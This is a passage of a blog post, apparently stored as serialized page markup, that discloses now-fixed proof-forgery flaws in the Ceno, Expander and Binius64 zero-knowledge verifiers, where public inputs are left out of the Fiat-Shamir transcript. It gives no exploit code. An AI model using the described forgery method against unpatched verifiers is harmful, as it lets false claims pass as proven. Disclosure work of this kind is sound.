ype":23,"tag":75,"props":131381,"children":131383},{"className":131382},[15284,15332],[131384],{"type":29,"value":648},{"type":23,"tag":75,"props":131386,"children":131388},{"className":131387},[32960],[131389],{"type":29,"value":32963},{"type":23,"tag":75,"props":131391,"children":131393},{"className":131392},[15309],[131394],{"type":23,"tag":75,"props":131395,"children":131397},{"className":131396,"style":103465},[15314],[131398],{"type":23,"tag":75,"props":131399,"children":131400},{},[],{"type":23,"tag":75,"props":131402,"children":131404},{"className":131403,"style":15364},[15363],[],{"type":23,"tag":75,"props":131406,"children":131408},{"className":131407},[15369],[131409],{"type":29,"value":121644},{"type":23,"tag":75,"props":131411,"children":131413},{"className":131412,"style":15364},[15363],[],{"type":23,"tag":75,"props":131415,"children":131417},{"className":131416},[15273],[131418,131422,131479,131483,131488],{"type":23,"tag":75,"props":131419,"children":131421},{"className":131420,"style":130990},[15278],[],{"type":23,"tag":75,"props":131423,"children":131425},{"className":131424},[15284],[131426,131431],{"type":23,"tag":75,"props":131427,"children":131429},{"className":131428},[15284,32803],[131430],{"type":29,"value":30499},{"type":23,"tag":75,"props":131432,"children":131434},{"className":131433},[15299],[131435],{"type":23,"tag":75,"props":131436,"children":131438},{"className":131437},[15304,32857],[131439,131468],{"type":23,"tag":75,"props":131440,"children":131442},{"className":131441},[15309],[131443,131463],{"type":23,"tag":75,"props":131444,"children":131446},{"className":131445,"style":103434},[15314],[131447],{"type":23,"tag":75,"props":131448,"children":131449},{"style":103438},[131450,131454],{"type":23,"tag":75,"props":131451,"children":131453},{"className":131452,"style":15324},[15323],[],{"type":23,"tag":75,"props":131455,"children":131457},{"className":131456},[15329,15330,15331,15332],[131458],{"type":23,"tag":75,"props":131459,"children":131461},{"className":131460},[15284,15332],[131462],{"type":29,"value":7867},{"type":23,"tag":75,"props":131464,"children":131466},{"className":131465},[32960],[131467],{"type":29,"value":32963},{"type":23,"tag":75,"props":131469,"children":131471},{"className":131470},[15309],[131472],{"type":23,"tag":75,"props":131473,"children":131475},{"className":131474,"style":103465},[15314],[131476],{"type":23,"tag":75,"props":131477,"children":131478},{},[],{"type":23,"tag":75,"props":131480,"children":131482},{"className":131481,"style":15364},[15363],[],{"type":23,"tag":75,"props":131484,"children":131486},{"className":131485},[15369],[131487],{"type":29,"value":7862},{"type":23,"tag":75,"props":131489,"children":131491},{"className":131490,"style":15364},[15363],[],{"type":23,"tag":75,"props":131493,"children":131495},{"className":131494},[15273],[131496,131500,131505,131509,131514],{"type":23,"tag":75,"props":131497,"children":131499},{"className":131498,"style":103297},[15278],[],{"type":23,"tag":75,"props":131501,"children":131503},{"className":131502},[15284,32803],[131504],{"type":29,"value":81736},{"type":23,"tag":75,"props":131506,"children":131508},{"className":131507,"style":15461},[15363],[],{"type":23,"tag":75,"props":131510,"children":131512},{"className":131511},[15466],[131513],{"type":29,"value":212},{"type":23,"tag":75,"props":131515,"children":131517},{"className":131516,"style":15461},[15363],[],{"type":23,"tag":75,"props":131519,"children":131521},{"className":131520},[15273],[131522,131526],{"type":23,"tag":75,"props":131523,"children":131525},{"className":131524,"style":104413},[15278],[],{"type":23,"tag":75,"props":131527,"children":131529},{"className":131528},[15284],[131530],{"type":29,"value":648},{"type":23,"tag":32,"props":131532,"children":131533},{},[131534],{"type":29,"value":131535},"Substitution reduces this to a quadratic in one variable, which is solvable with the quadratic formula.",{"type":23,"tag":32,"props":131537,"children":131538},{},[131539,131543,131545,131552,131554,131561],{"type":23,"tag":16596,"props":131540,"children":131541},{},[131542],{"type":29,"value":127092},{"type":29,"value":131544}," Fixed on March 5, 2026 via ",{"type":23,"tag":940,"props":131546,"children":131549},{"href":131547,"rel":131548},"https://github.com/scroll-tech/ceno/pull/1262",[944],[131550],{"type":29,"value":131551},"PR #1262",{"type":29,"value":131553}," (original report: ",{"type":23,"tag":940,"props":131555,"children":131558},{"href":131556,"rel":131557},"https://github.com/scroll-tech/ceno/issues/1125",[944],[131559],{"type":29,"value":131560},"#1125",{"type":29,"value":1347},{"type":23,"tag":30016,"props":131563,"children":131564},{},[],{"type":23,"tag":923,"props":131566,"children":131568},{"id":131567},"expander-polyhedra",[131569],{"type":29,"value":131570},"Expander (Polyhedra)",{"type":23,"tag":32,"props":131572,"children":131573},{},[131574],{"type":29,"value":131575},"Expander is a GKR-based proof system for arithmetic circuits.",{"type":23,"tag":32,"props":131577,"children":131578},{},[131579],{"type":23,"tag":16596,"props":131580,"children":131581},{},[131582],{"type":29,"value":125798},{"type":23,"tag":64,"props":131584,"children":131586},{"code":131585},"Proof (raw bytes, parsed in order):\n    - PCS commitment\n    - Sumcheck round polynomials (for each layer)\n    - Layer claims (claim_x, claim_y)\n    - PCS opening proofs\n\nNOT in proof bytes (passed separately):\n    - public_input    // statement data passed separately\n    - claimed_v       // statement claim passed separately\n",[131587],{"type":23,"tag":71,"props":131588,"children":131589},{"__ignoreMap":7},[131590],{"type":29,"value":131585},{"type":23,"tag":32,"props":131592,"children":131593},{},[131594,131596,131602],{"type":29,"value":131595},"In Expander's circuit model, constant gates can reference public input values. During GKR verification, the ",{"type":23,"tag":71,"props":131597,"children":131599},{"className":131598},[],[131600],{"type":29,"value":131601},"eval_cst",{"type":29,"value":131603}," evaluates the contribution of these gates at the sumcheck challenge point:",{"type":23,"tag":64,"props":131605,"children":131607},{"code":131606,"language":986,"meta":7,"className":987,"style":7},"sum -= GKRVerifierHelper::eval_cst(&layer.const_, public_input, sp);\n",[131608],{"type":23,"tag":71,"props":131609,"children":131610},{"__ignoreMap":7},[131611],{"type":23,"tag":75,"props":131612,"children":131613},{"class":77,"line":78},[131614,131618,131623,131628,131632,131636,131640,131644,131649,131653,131658,131663,131667,131672],{"type":23,"tag":75,"props":131615,"children":131616},{"style":110},[131617],{"type":29,"value":868},{"type":23,"tag":75,"props":131619,"children":131620},{"style":209},[131621],{"type":29,"value":131622}," -=",{"type":23,"tag":75,"props":131624,"children":131625},{"style":104},[131626],{"type":29,"value":131627}," GKRVerifierHelper",{"type":23,"tag":75,"props":131629,"children":131630},{"style":209},[131631],{"type":29,"value":1407},{"type":23,"tag":75,"props":131633,"children":131634},{"style":88},[131635],{"type":29,"value":131601},{"type":23,"tag":75,"props":131637,"children":131638},{"style":94},[131639],{"type":29,"value":643},{"type":23,"tag":75,"props":131641,"children":131642},{"style":209},[131643],{"type":29,"value":1277},{"type":23,"tag":75,"props":131645,"children":131646},{"style":110},[131647],{"type":29,"value":131648},"layer",{"type":23,"tag":75,"props":131650,"children":131651},{"style":209},[131652],{"type":29,"value":557},{"type":23,"tag":75,"props":131654,"children":131655},{"style":94},[131656],{"type":29,"value":131657},"const_, ",{"type":23,"tag":75,"props":131659,"children":131660},{"style":110},[131661],{"type":29,"value":131662},"public_input",{"type":23,"tag":75,"props":131664,"children":131665},{"style":94},[131666],{"type":29,"value":611},{"type":23,"tag":75,"props":131668,"children":131669},{"style":110},[131670],{"type":29,"value":131671},"sp",{"type":23,"tag":75,"props":131673,"children":131674},{"style":94},[131675],{"type":29,"value":15099},{"type":23,"tag":32,"props":131677,"children":131678},{},[131679,131681,131686],{"type":29,"value":131680},"This evaluation is a linear combination of public input values, weighted by coefficients derived from the challenges stored in the verifier's scratch pad (",{"type":23,"tag":71,"props":131682,"children":131684},{"className":131683},[],[131685],{"type":29,"value":131671},{"type":29,"value":31960},{"type":23,"tag":32,"props":131688,"children":131689},{},[131690],{"type":23,"tag":16596,"props":131691,"children":131692},{},[131693],{"type":29,"value":131694},"The vulnerability:",{"type":23,"tag":32,"props":131696,"children":131697},{},[131698,131703],{"type":23,"tag":71,"props":131699,"children":131701},{"className":131700},[],[131702],{"type":29,"value":131662},{"type":29,"value":131704}," is never absorbed into the transcript. The transcript is initialized from the PCS commitment and sumcheck round messages, but public inputs are passed separately to the verifier.",{"type":23,"tag":32,"props":131706,"children":131707},{},[131708],{"type":23,"tag":15189,"props":131709,"children":131712},{"alt":131710,"src":131711},"9_expander","/posts/zkvms-unfaithful-claims/9_expander.svg",[],{"type":23,"tag":32,"props":131714,"children":131715},{},[131716,131717,131722],{"type":29,"value":2846},{"type":23,"tag":71,"props":131718,"children":131720},{"className":131719},[],[131721],{"type":29,"value":131601},{"type":29,"value":131723}," function computes a linear combination:",{"type":23,"tag":32,"props":131725,"children":131726},{},[131727],{"type":23,"tag":71,"props":131728,"children":131730},{"className":131729},[15256,15257],[131731],{"type":23,"tag":75,"props":131732,"children":131734},{"className":131733},[15262],[131735],{"type":23,"tag":75,"props":131736,"children":131738},{"className":131737,"ariaHidden":15268},[15267],[131739,131784,131908],{"type":23,"tag":75,"props":131740,"children":131742},{"className":131741},[15273],[131743,131747,131756,131761,131771,131775,131780],{"type":23,"tag":75,"props":131744,"children":131746},{"className":131745,"style":104795},[15278],[],{"type":23,"tag":75,"props":131748,"children":131750},{"className":131749},[15284,29],[131751],{"type":23,"tag":75,"props":131752,"children":131754},{"className":131753},[15284],[131755],{"type":29,"value":48739},{"type":23,"tag":75,"props":131757,"children":131759},{"className":131758,"style":103382},[15284],[131760],{"type":29,"value":14370},{"type":23,"tag":75,"props":131762,"children":131764},{"className":131763},[15284,29],[131765],{"type":23,"tag":75,"props":131766,"children":131768},{"className":131767},[15284],[131769],{"type":29,"value":131770},"cst",{"type":23,"tag":75,"props":131772,"children":131774},{"className":131773,"style":15461},[15363],[],{"type":23,"tag":75,"props":131776,"children":131778},{"className":131777},[15466],[131779],{"type":29,"value":212},{"type":23,"tag":75,"props":131781,"children":131783},{"className":131782,"style":15461},[15363],[],{"type":23,"tag":75,"props":131785,"children":131787},{"className":131786},[15273],[131788,131792,131849,131853,131880,131885,131890,131895,131899,131904],{"type":23,"tag":75,"props":131789,"children":131791},{"className":131790,"style":103324},[15278],[],{"type":23,"tag":75,"props":131793,"children":131795},{"className":131794},[32839],[131796,131801],{"type":23,"tag":75,"props":131797,"children":131799},{"className":131798,"style":32846},[32839,32844,32845],[131800],{"type":29,"value":119177},{"type":23,"tag":75,"props":131802,"children":131804},{"className":131803},[15299],[131805],{"type":23,"tag":75,"props":131806,"children":131808},{"className":131807},[15304,32857],[131809,131838],{"type":23,"tag":75,"props":131810,"children":131812},{"className":131811},[15309],[131813,131833],{"type":23,"tag":75,"props":131814,"children":131816},{"className":131815,"style":124589},[15314],[131817],{"type":23,"tag":75,"props":131818,"children":131819},{"style":32870},[131820,131824],{"type":23,"tag":75,"props":131821,"children":131823},{"className":131822,"style":15324},[15323],[],{"type":23,"tag":75,"props":131825,"children":131827},{"className":131826},[15329,15330,15331,15332],[131828],{"type":23,"tag":75,"props":131829,"children":131831},{"className":131830},[15284,32803,15332],[131832],{"type":29,"value":12935},{"type":23,"tag":75,"props":131834,"children":131836},{"className":131835},[32960],[131837],{"type":29,"value":32963},{"type":23,"tag":75,"props":131839,"children":131841},{"className":131840},[15309],[131842],{"type":23,"tag":75,"props":131843,"children":131845},{"className":131844,"style":124869},[15314],[131846],{"type":23,"tag":75,"props":131847,"children":131848},{},[],{"type":23,"tag":75,"props":131850,"children":131852},{"className":131851,"style":15402},[15363],[],{"type":23,"tag":75,"props":131854,"children":131856},{"className":131855},[15284],[131857,131866,131871],{"type":23,"tag":75,"props":131858,"children":131860},{"className":131859},[15284,29],[131861],{"type":23,"tag":75,"props":131862,"children":131864},{"className":131863},[15284],[131865],{"type":29,"value":172},{"type":23,"tag":75,"props":131867,"children":131869},{"className":131868,"style":103382},[15284],[131870],{"type":29,"value":14370},{"type":23,"tag":75,"props":131872,"children":131874},{"className":131873},[15284,29],[131875],{"type":23,"tag":75,"props":131876,"children":131878},{"className":131877},[15284],[131879],{"type":29,"value":1207},{"type":23,"tag":75,"props":131881,"children":131883},{"className":131882},[32932],[131884],{"type":29,"value":814},{"type":23,"tag":75,"props":131886,"children":131888},{"className":131887},[15284,32803],[131889],{"type":29,"value":12935},{"type":23,"tag":75,"props":131891,"children":131893},{"className":131892},[32954],[131894],{"type":29,"value":1610},{"type":23,"tag":75,"props":131896,"children":131898},{"className":131897,"style":15364},[15363],[],{"type":23,"tag":75,"props":131900,"children":131902},{"className":131901},[15369],[131903],{"type":29,"value":121644},{"type":23,"tag":75,"props":131905,"children":131907},{"className":131906,"style":15364},[15363],[],{"type":23,"tag":75,"props":131909,"children":131911},{"className":131910},[15273],[131912,131916,131925,131930,131935,131940,131944,131993],{"type":23,"tag":75,"props":131913,"children":131915},{"className":131914,"style":15384},[15278],[],{"type":23,"tag":75,"props":131917,"children":131919},{"className":131918},[15284,29],[131920],{"type":23,"tag":75,"props":131921,"children":131923},{"className":131922},[15284],[131924],{"type":29,"value":122971},{"type":23,"tag":75,"props":131926,"children":131928},{"className":131927},[32932],[131929],{"type":29,"value":643},{"type":23,"tag":75,"props":131931,"children":131933},{"className":131932},[15284,32803],[131934],{"type":29,"value":12935},{"type":23,"tag":75,"props":131936,"children":131938},{"className":131937},[15395],[131939],{"type":29,"value":15398},{"type":23,"tag":75,"props":131941,"children":131943},{"className":131942,"style":15402},[15363],[],{"type":23,"tag":75,"props":131945,"children":131947},{"className":131946},[15284,122531],[131948],{"type":23,"tag":75,"props":131949,"children":131951},{"className":131950},[15304],[131952],{"type":23,"tag":75,"props":131953,"children":131955},{"className":131954},[15309],[131956],{"type":23,"tag":75,"props":131957,"children":131959},{"className":131958,"style":122617},[15314],[131960,131972],{"type":23,"tag":75,"props":131961,"children":131962},{"style":122548},[131963,131967],{"type":23,"tag":75,"props":131964,"children":131966},{"className":131965,"style":122553},[15323],[],{"type":23,"tag":75,"props":131968,"children":131970},{"className":131969,"style":103382},[15284,32803],[131971],{"type":29,"value":104201},{"type":23,"tag":75,"props":131973,"children":131974},{"style":122548},[131975,131979],{"type":23,"tag":75,"props":131976,"children":131978},{"className":131977,"style":122553},[15323],[],{"type":23,"tag":75,"props":131980,"children":131982},{"className":131981,"style":122641},[122571],[131983],{"type":23,"tag":75,"props":131984,"children":131986},{"className":131985,"style":122647},[122646],[131987],{"type":23,"tag":45467,"props":131988,"children":131989},{"xmlns":122651,"width":122652,"height":122653,"style":122654,"viewBox":122655,"preserveAspectRatio":122656},[131990],{"type":23,"tag":122659,"props":131991,"children":131992},{"d":122661},[],{"type":23,"tag":75,"props":131994,"children":131996},{"className":131995},[32954],[131997],{"type":29,"value":1347},{"type":23,"tag":32,"props":131999,"children":132000},{},[132001,132002,132071,132073,132078,132080,132085],{"type":29,"value":126218},{"type":23,"tag":71,"props":132003,"children":132005},{"className":132004},[15256,15257],[132006],{"type":23,"tag":75,"props":132007,"children":132009},{"className":132008},[15262],[132010],{"type":23,"tag":75,"props":132011,"children":132013},{"className":132012,"ariaHidden":15268},[15267],[132014],{"type":23,"tag":75,"props":132015,"children":132017},{"className":132016},[15273],[132018,132022],{"type":23,"tag":75,"props":132019,"children":132021},{"className":132020,"style":122617},[15278],[],{"type":23,"tag":75,"props":132023,"children":132025},{"className":132024},[15284,122531],[132026],{"type":23,"tag":75,"props":132027,"children":132029},{"className":132028},[15304],[132030],{"type":23,"tag":75,"props":132031,"children":132033},{"className":132032},[15309],[132034],{"type":23,"tag":75,"props":132035,"children":132037},{"className":132036,"style":122617},[15314],[132038,132050],{"type":23,"tag":75,"props":132039,"children":132040},{"style":122548},[132041,132045],{"type":23,"tag":75,"props":132042,"children":132044},{"className":132043,"style":122553},[15323],[],{"type":23,"tag":75,"props":132046,"children":132048},{"className":132047,"style":103382},[15284,32803],[132049],{"type":29,"value":104201},{"type":23,"tag":75,"props":132051,"children":132052},{"style":122548},[132053,132057],{"type":23,"tag":75,"props":132054,"children":132056},{"className":132055,"style":122553},[15323],[],{"type":23,"tag":75,"props":132058,"children":132060},{"className":132059,"style":122641},[122571],[132061],{"type":23,"tag":75,"props":132062,"children":132064},{"className":132063,"style":122647},[122646],[132065],{"type":23,"tag":45467,"props":132066,"children":132067},{"xmlns":122651,"width":122652,"height":122653,"style":122654,"viewBox":122655,"preserveAspectRatio":122656},[132068],{"type":23,"tag":122659,"props":132069,"children":132070},{"d":122661},[],{"type":29,"value":132072}," contains the challenges. Since challenges are derived before the statement data is bound, they are independent of ",{"type":23,"tag":71,"props":132074,"children":132076},{"className":132075},[],[132077],{"type":29,"value":131662},{"type":29,"value":132079},". This lets an attacker choose an arbitrary false statement (e.g., a forged output) and then solve the induced linear constraints for a modified ",{"type":23,"tag":71,"props":132081,"children":132083},{"className":132082},[],[132084],{"type":29,"value":131662},{"type":29,"value":132086}," that makes the verifier's check pass.",{"type":23,"tag":32,"props":132088,"children":132089},{},[132090,132094,132096,132103,132104,132107,132114],{"type":23,"tag":16596,"props":132091,"children":132092},{},[132093],{"type":29,"value":127092},{"type":29,"value":132095}," Fixed on 21st January 2026 via ",{"type":23,"tag":940,"props":132097,"children":132100},{"href":132098,"rel":132099},"https://github.com/PolyhedraZK/Expander/commit/4a8c2be03535194c1f6b48a93ad2f5480649f7c2",[944],[132101],{"type":29,"value":132102},"commit 4a8c2be",{"type":29,"value":949},{"type":23,"tag":42164,"props":132105,"children":132106},{},[],{"type":23,"tag":940,"props":132108,"children":132111},{"href":132109,"rel":132110},"https://blog.polyhedra.network/expander-bug-bounty/",[944],[132112],{"type":29,"value":132113},"Claimed 500k Bug bounty",{"type":29,"value":132115}," award pending",{"type":23,"tag":30016,"props":132117,"children":132118},{},[],{"type":23,"tag":923,"props":132120,"children":132122},{"id":132121},"binius64",[132123],{"type":29,"value":118225},{"type":23,"tag":32,"props":132125,"children":132126},{},[132127,132129,132256],{"type":29,"value":132128},"Binius64 is a proof system optimized for binary fields, designed to be efficient on 64-bit CPUs. Binius uses ",{"type":23,"tag":71,"props":132130,"children":132132},{"className":132131},[15256,15257],[132133],{"type":23,"tag":75,"props":132134,"children":132136},{"className":132135},[15262],[132137],{"type":23,"tag":75,"props":132138,"children":132140},{"className":132139,"ariaHidden":15268},[15267],[132141],{"type":23,"tag":75,"props":132142,"children":132144},{"className":132143},[15273],[132145,132150],{"type":23,"tag":75,"props":132146,"children":132149},{"className":132147,"style":132148},[15278],"height:0.8665em;vertical-align:-0.1776em;",[],{"type":23,"tag":75,"props":132151,"children":132153},{"className":132152},[15284],[132154,132161],{"type":23,"tag":75,"props":132155,"children":132158},{"className":132156},[15284,132157],"mathbb",[132159],{"type":29,"value":132160},"F",{"type":23,"tag":75,"props":132162,"children":132164},{"className":132163},[15299],[132165],{"type":23,"tag":75,"props":132166,"children":132168},{"className":132167},[15304,32857],[132169,132244],{"type":23,"tag":75,"props":132170,"children":132172},{"className":132171},[15309],[132173,132239],{"type":23,"tag":75,"props":132174,"children":132176},{"className":132175,"style":122714},[15314],[132177],{"type":23,"tag":75,"props":132178,"children":132180},{"style":132179},"top:-2.5224em;margin-left:0em;margin-right:0.05em;",[132181,132185],{"type":23,"tag":75,"props":132182,"children":132184},{"className":132183,"style":15324},[15323],[],{"type":23,"tag":75,"props":132186,"children":132188},{"className":132187},[15329,15330,15331,15332],[132189],{"type":23,"tag":75,"props":132190,"children":132192},{"className":132191},[15284,15332],[132193],{"type":23,"tag":75,"props":132194,"children":132196},{"className":132195},[15284,15332],[132197,132202],{"type":23,"tag":75,"props":132198,"children":132200},{"className":132199},[15284,15332],[132201],{"type":29,"value":14409},{"type":23,"tag":75,"props":132203,"children":132205},{"className":132204},[15299],[132206],{"type":23,"tag":75,"props":132207,"children":132209},{"className":132208},[15304],[132210],{"type":23,"tag":75,"props":132211,"children":132213},{"className":132212},[15309],[132214],{"type":23,"tag":75,"props":132215,"children":132218},{"className":132216,"style":132217},[15314],"height:0.7463em;",[132219],{"type":23,"tag":75,"props":132220,"children":132221},{"style":122839},[132222,132226],{"type":23,"tag":75,"props":132223,"children":132225},{"className":132224,"style":119242},[15323],[],{"type":23,"tag":75,"props":132227,"children":132229},{"className":132228},[15329,119247,119248,15332],[132230],{"type":23,"tag":75,"props":132231,"children":132233},{"className":132232},[15284,15332],[132234],{"type":23,"tag":75,"props":132235,"children":132237},{"className":132236},[15284,15332],[132238],{"type":29,"value":41043},{"type":23,"tag":75,"props":132240,"children":132242},{"className":132241},[32960],[132243],{"type":29,"value":32963},{"type":23,"tag":75,"props":132245,"children":132247},{"className":132246},[15309],[132248],{"type":23,"tag":75,"props":132249,"children":132252},{"className":132250,"style":132251},[15314],"height:0.1776em;",[132253],{"type":23,"tag":75,"props":132254,"children":132255},{},[],{"type":29,"value":132257}," (or variants thereof), where addition is XOR. This makes certain operations very fast.",{"type":23,"tag":32,"props":132259,"children":132260},{},[132261,132263,132268],{"type":29,"value":132262},"One of Binius's key features is its specialized protocols for bitwise operations. The ",{"type":23,"tag":16596,"props":132264,"children":132265},{},[132266],{"type":29,"value":132267},"Shift Protocol",{"type":29,"value":132269}," efficiently handles bit-shifts and rotations (essential for hash functions like SHA-256) without the massive overhead typical in other proof systems.",{"type":23,"tag":32,"props":132271,"children":132272},{},[132273],{"type":23,"tag":16596,"props":132274,"children":132275},{},[132276],{"type":29,"value":131694},{"type":23,"tag":32,"props":132278,"children":132279},{},[132280],{"type":29,"value":132281},"The verifier receives the public witness (program inputs/outputs) as a separate parameter:",{"type":23,"tag":64,"props":132283,"children":132285},{"code":132284,"language":986,"meta":7,"className":987,"style":7},"pub fn verify\u003CF, C>(\n    constraint_system: &ConstraintSystem,\n    public: &[Word],    // \u003C- NEVER ABSORBED\n    // ...\n) -> Result\u003CVerifyOutput\u003CF>, Error>\n",[132286],{"type":23,"tag":71,"props":132287,"children":132288},{"__ignoreMap":7},[132289,132324,132349,132383,132391],{"type":23,"tag":75,"props":132290,"children":132291},{"class":77,"line":78},[132292,132296,132300,132304,132308,132312,132316,132320],{"type":23,"tag":75,"props":132293,"children":132294},{"style":82},[132295],{"type":29,"value":24933},{"type":23,"tag":75,"props":132297,"children":132298},{"style":82},[132299],{"type":29,"value":24938},{"type":23,"tag":75,"props":132301,"children":132302},{"style":88},[132303],{"type":29,"value":19425},{"type":23,"tag":75,"props":132305,"children":132306},{"style":94},[132307],{"type":29,"value":295},{"type":23,"tag":75,"props":132309,"children":132310},{"style":104},[132311],{"type":29,"value":132160},{"type":23,"tag":75,"props":132313,"children":132314},{"style":94},[132315],{"type":29,"value":611},{"type":23,"tag":75,"props":132317,"children":132318},{"style":104},[132319],{"type":29,"value":126611},{"type":23,"tag":75,"props":132321,"children":132322},{"style":94},[132323],{"type":29,"value":1064},{"type":23,"tag":75,"props":132325,"children":132326},{"class":77,"line":100},[132327,132332,132336,132340,132345],{"type":23,"tag":75,"props":132328,"children":132329},{"style":110},[132330],{"type":29,"value":132331},"    constraint_system",{"type":23,"tag":75,"props":132333,"children":132334},{"style":209},[132335],{"type":29,"value":1018},{"type":23,"tag":75,"props":132337,"children":132338},{"style":209},[132339],{"type":29,"value":844},{"type":23,"tag":75,"props":132341,"children":132342},{"style":104},[132343],{"type":29,"value":132344},"ConstraintSystem",{"type":23,"tag":75,"props":132346,"children":132347},{"style":94},[132348],{"type":29,"value":118},{"type":23,"tag":75,"props":132350,"children":132351},{"class":77,"line":121},[132352,132356,132360,132364,132368,132373,132378],{"type":23,"tag":75,"props":132353,"children":132354},{"style":110},[132355],{"type":29,"value":18781},{"type":23,"tag":75,"props":132357,"children":132358},{"style":209},[132359],{"type":29,"value":1018},{"type":23,"tag":75,"props":132361,"children":132362},{"style":209},[132363],{"type":29,"value":844},{"type":23,"tag":75,"props":132365,"children":132366},{"style":94},[132367],{"type":29,"value":814},{"type":23,"tag":75,"props":132369,"children":132370},{"style":104},[132371],{"type":29,"value":132372},"Word",{"type":23,"tag":75,"props":132374,"children":132375},{"style":94},[132376],{"type":29,"value":132377},"],    ",{"type":23,"tag":75,"props":132379,"children":132380},{"style":3621},[132381],{"type":29,"value":132382},"// \u003C- NEVER ABSORBED\n",{"type":23,"tag":75,"props":132384,"children":132385},{"class":77,"line":138},[132386],{"type":23,"tag":75,"props":132387,"children":132388},{"style":3621},[132389],{"type":29,"value":132390},"    // ...\n",{"type":23,"tag":75,"props":132392,"children":132393},{"class":77,"line":161},[132394,132398,132402,132406,132410,132415,132419,132423,132427,132431],{"type":23,"tag":75,"props":132395,"children":132396},{"style":94},[132397],{"type":29,"value":167},{"type":23,"tag":75,"props":132399,"children":132400},{"style":209},[132401],{"type":29,"value":1156},{"type":23,"tag":75,"props":132403,"children":132404},{"style":104},[132405],{"type":29,"value":25004},{"type":23,"tag":75,"props":132407,"children":132408},{"style":94},[132409],{"type":29,"value":295},{"type":23,"tag":75,"props":132411,"children":132412},{"style":104},[132413],{"type":29,"value":132414},"VerifyOutput",{"type":23,"tag":75,"props":132416,"children":132417},{"style":94},[132418],{"type":29,"value":295},{"type":23,"tag":75,"props":132420,"children":132421},{"style":104},[132422],{"type":29,"value":132160},{"type":23,"tag":75,"props":132424,"children":132425},{"style":94},[132426],{"type":29,"value":17895},{"type":23,"tag":75,"props":132428,"children":132429},{"style":104},[132430],{"type":29,"value":8945},{"type":23,"tag":75,"props":132432,"children":132433},{"style":94},[132434],{"type":29,"value":17260},{"type":23,"tag":32,"props":132436,"children":132437},{},[132438,132440,132446,132447,132453,132455,132459],{"type":29,"value":132439},"In the shift protocol, challenges ",{"type":23,"tag":71,"props":132441,"children":132443},{"className":132442},[],[132444],{"type":29,"value":132445},"r_j",{"type":29,"value":2721},{"type":23,"tag":71,"props":132448,"children":132450},{"className":132449},[],[132451],{"type":29,"value":132452},"inout_eval_point",{"type":29,"value":132454}," are sampled ",{"type":23,"tag":16596,"props":132456,"children":132457},{},[132458],{"type":29,"value":114926},{"type":29,"value":132460}," the public witness is bound.",{"type":23,"tag":32,"props":132462,"children":132463},{},[132464],{"type":23,"tag":16596,"props":132465,"children":132466},{},[132467],{"type":29,"value":125814},{"type":23,"tag":32,"props":132469,"children":132470},{},[132471],{"type":23,"tag":15189,"props":132472,"children":132475},{"alt":132473,"src":132474},"10_binius","/posts/zkvms-unfaithful-claims/10_binius.svg",[],{"type":23,"tag":32,"props":132477,"children":132478},{},[132479],{"type":29,"value":132480},"During verification",{"type":23,"tag":2797,"props":132482,"children":132483},{},[132484,132504,132516,132535],{"type":23,"tag":2801,"props":132485,"children":132486},{},[132487,132489,132494,132496,132502],{"type":29,"value":132488},"Sumcheck produces challenge points ",{"type":23,"tag":71,"props":132490,"children":132492},{"className":132491},[],[132493],{"type":29,"value":132445},{"type":29,"value":132495}," (bit indices) and ",{"type":23,"tag":71,"props":132497,"children":132499},{"className":132498},[],[132500],{"type":29,"value":132501},"r_s",{"type":29,"value":132503}," (shift indices)",{"type":23,"tag":2801,"props":132505,"children":132506},{},[132507,132509,132514],{"type":29,"value":132508},"Verifier samples ",{"type":23,"tag":71,"props":132510,"children":132512},{"className":132511},[],[132513],{"type":29,"value":132452},{"type":29,"value":132515}," from transcript",{"type":23,"tag":2801,"props":132517,"children":132518},{},[132519,132521,132527,132529,132534],{"type":29,"value":132520},"Verifier computes ",{"type":23,"tag":71,"props":132522,"children":132524},{"className":132523},[],[132525],{"type":29,"value":132526},"public_eval = MLE(public, r_j, inout_eval_point)",{"type":29,"value":132528}," using the unbound ",{"type":23,"tag":71,"props":132530,"children":132532},{"className":132531},[],[132533],{"type":29,"value":172},{"type":29,"value":29356},{"type":23,"tag":2801,"props":132536,"children":132537},{},[132538,132539,132545],{"type":29,"value":2846},{"type":23,"tag":71,"props":132540,"children":132542},{"className":132541},[],[132543],{"type":29,"value":132544},"public_eval",{"type":29,"value":132546}," feeds into subsequent verification equations",{"type":23,"tag":32,"props":132548,"children":132549},{},[132550],{"type":29,"value":132551},"The MLE evaluation is linear in the public witness bits:",{"type":23,"tag":32,"props":132553,"children":132554},{},[132555],{"type":23,"tag":71,"props":132556,"children":132558},{"className":132557},[15256,15257],[132559],{"type":23,"tag":75,"props":132560,"children":132562},{"className":132561},[15262],[132563],{"type":23,"tag":75,"props":132564,"children":132566},{"className":132565,"ariaHidden":15268},[15267],[132567,132611,132751,132863],{"type":23,"tag":75,"props":132568,"children":132570},{"className":132569},[15273],[132571,132575,132584,132589,132598,132602,132607],{"type":23,"tag":75,"props":132572,"children":132574},{"className":132573,"style":104795},[15278],[],{"type":23,"tag":75,"props":132576,"children":132578},{"className":132577},[15284,29],[132579],{"type":23,"tag":75,"props":132580,"children":132582},{"className":132581},[15284],[132583],{"type":29,"value":172},{"type":23,"tag":75,"props":132585,"children":132587},{"className":132586,"style":103382},[15284],[132588],{"type":29,"value":14370},{"type":23,"tag":75,"props":132590,"children":132592},{"className":132591},[15284,29],[132593],{"type":23,"tag":75,"props":132594,"children":132596},{"className":132595},[15284],[132597],{"type":29,"value":48739},{"type":23,"tag":75,"props":132599,"children":132601},{"className":132600,"style":15461},[15363],[],{"type":23,"tag":75,"props":132603,"children":132605},{"className":132604},[15466],[132606],{"type":29,"value":212},{"type":23,"tag":75,"props":132608,"children":132610},{"className":132609,"style":15461},[15363],[],{"type":23,"tag":75,"props":132612,"children":132614},{"className":132613},[15273],[132615,132619,132691,132695,132708,132713,132718,132723,132728,132733,132738,132742,132747],{"type":23,"tag":75,"props":132616,"children":132618},{"className":132617,"style":129144},[15278],[],{"type":23,"tag":75,"props":132620,"children":132622},{"className":132621},[32839],[132623,132628],{"type":23,"tag":75,"props":132624,"children":132626},{"className":132625,"style":32846},[32839,32844,32845],[132627],{"type":29,"value":119177},{"type":23,"tag":75,"props":132629,"children":132631},{"className":132630},[15299],[132632],{"type":23,"tag":75,"props":132633,"children":132635},{"className":132634},[15304,32857],[132636,132680],{"type":23,"tag":75,"props":132637,"children":132639},{"className":132638},[15309],[132640,132675],{"type":23,"tag":75,"props":132641,"children":132643},{"className":132642,"style":124054},[15314],[132644],{"type":23,"tag":75,"props":132645,"children":132646},{"style":32870},[132647,132651],{"type":23,"tag":75,"props":132648,"children":132650},{"className":132649,"style":15324},[15323],[],{"type":23,